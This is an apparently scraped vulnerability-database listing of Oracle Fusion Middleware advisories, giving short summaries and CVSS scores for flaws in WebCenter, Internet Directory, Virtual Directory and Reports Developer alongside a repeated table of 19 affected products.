Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Virtual Directory versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with LDAP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical LDAP vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers to fully compromise systems, with a CVSS 3.1 base score of 10.0.
10.0 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially compromise system confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with infrastructure access to potentially compromise system confidentiality, integrity, and availability, rated with a CVSS 3.1 base score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with infrastructure logon to access critical or all accessible data, with a CVSS 3.1 base score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with network access via CORBA to fully compromise the product, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access and manipulate or delete critical data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability (CVSS 9.3) in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with physical network access to compromise the product, enabling unauthorized data creation, deletion, or modification.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
